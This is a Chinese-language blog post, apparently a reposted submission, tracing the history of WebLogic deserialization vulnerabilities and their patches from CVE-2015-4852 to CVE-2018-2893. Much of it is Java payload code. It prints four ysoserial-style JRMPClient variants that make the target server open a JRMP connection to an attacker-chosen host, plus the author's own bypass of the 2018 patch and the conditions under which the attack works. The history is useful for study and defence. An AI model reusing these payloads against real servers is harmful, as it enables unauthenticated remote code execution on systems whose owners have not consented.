Weblogic 反序列化漏洞历史(weblogic内存溢出怎么解决)

网友投稿 425 2022-10-10


Weblogic 反序列化漏洞历史(weblogic内存溢出怎么解决)

Weblogic 反序列化漏洞历史

0x00 weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

Weblogic 直接反序列化漏洞回顾

1. CVE-2015-4852

利用Java反序列化和 Apache Commons Collections 这一基础类库来×××,实现远程代码执行。查看CVE-2015-4852的补丁,发现weblogic采用黑名单的形式来修复这个漏洞,这中修复方案很被动,存在被绕过风险,只要发现可用并且未在黑名单之外的反序列化类,便可造成新的反序列化×××。

2. CVE-2016-0638

weblogic反序列化的点有三个,黑名单ClassFilter.class也作用于这三个位置:

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class

使用weblogic.jms.common.StreamMessageImpl的 readExternal()绕过

3. CVE-2016-3510

原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

0x02 Weblogic JRMP反序列化漏洞回顾

JRMP协议:Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。RMI:是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

1. CVE-2017-3248

这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,这将会序列化一个 RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。JRMPLister代码:

package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) * DGCClient$EndpointEntry.registerRefs(List) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }

修复方式只是在resolveProxyClass进行一个简单的判断,拦截java.rmi.registry.Registry接口。所以很快就有了下一个绕过。

2. CVE-2018-2628

网上公开的绕CVE-2017-3248有这几种方法:第一种:修改ysoerial的JRMPClient,精简了原来的payload,直接就是一个sun.rmi.server.UnicastRef对象。因为Proxy在这里并不是必需的,所以去掉之后对反序列化利用没有影响。payload中没有了proxy,weblogic反序列化的时候,resolveProxyClass根本就没有被调用到,所以就bypass了CVE-2017-3248的patch。

package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) * DGCClient$EndpointEntry.registerRefs(List) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }

第二种:替换接口绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map

package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.activation.Activator; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set, long) * DGCClient$EndpointEntry.registerRefs(List) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload { public Activator getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }

第三种:weblogic.jms.common.StreamMessageImplStreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查,从而绕过。Oracle在2018年4月发布的补丁中修复方式是将sun.rmi.server.UnicastRef加入了黑名单中,weblogic.utils.io.oif.WebLogicFilterConfig.class:

private static final String[] DEFAULT_LIMITS = { "maxdepth=100" }; private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };

这个修复方式只对提交的bypass(Payload 1)有效,而Payload 2和3依然可以使用。分析了一下后两个payload依然可以使用的原因: 主要是sun.rmi.server.UnicastRef经过了java.rmi.server.RemoteObjectInvocationHandler的封装,在序列化生成payload时,修改了UnicastRef对象写入流程。

3. CVE-2018-2893

针对前面漏洞没有修复彻底的问题,在今年7月份的补丁中进行了如下修复:

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" }; private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

黑名单进行了更新:

java.rmi.activation.* sun.rmi.server.* java.rmi.server.RemoteObjectInvocationHandler java.rmi.server.UnicastRemoteObject

0x03 绕过CVE-2018-2893

CVE-2018-2893还是可以继续绕的,根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。那么这个类应该满足以下条件:继承远程类:java.rmi.server.RemoteObject不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)随便找了一下,符合条件的挺多的:

javax.management.remote.rmi.RMIConnectionImpl_Stub com.sun.jndi.rmi.registry.ReferenceWrapper_Stub javax.management.remote.rmi.RMIServerImpl_Stub sun.rmi.registry.RegistryImpl_Stub sun.rmi.transport.DGCImpl_Stub

RMIConnectionImpl_Stub 继承至--> java.rmi.server.RemoteStub 继承至-->java.rmi.server.RemoteObject稍微改一下payload便能继续利用了:

package ysoserial.payloads; import java.rmi.server.ObjID; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.util.PayloadRunner; import javax.management.remote.rmi.RMIConnectionImpl_Stub; @SuppressWarnings ( { "restriction" } ) public class JRMPClient3 extends PayloadRunner implements ObjectPayload { public Object getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref); return stub; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }

0x04 利用条件

RMIConnectionImpl_Stub替换RemoteObjectInvocationHandler之后,payload又能用了。后续利用需要配合Jdk7u21来执行命令:1、服务器没有禁用T3、T3S协议。2、weblogic服务器需能访问到外网,才能发起JRMP请求。3、服务器使用低版本jdk

参考链接:https://xz.aliyun.com/t/2479https://paper.seebug.org/584/http://drops.the404.me/637.html


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:反序列化工具ysoserial使用介绍(shiro反序列化工具)
下一篇:《web网站安全评估分析及防御》新专栏上线有感(web安全测试技术)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~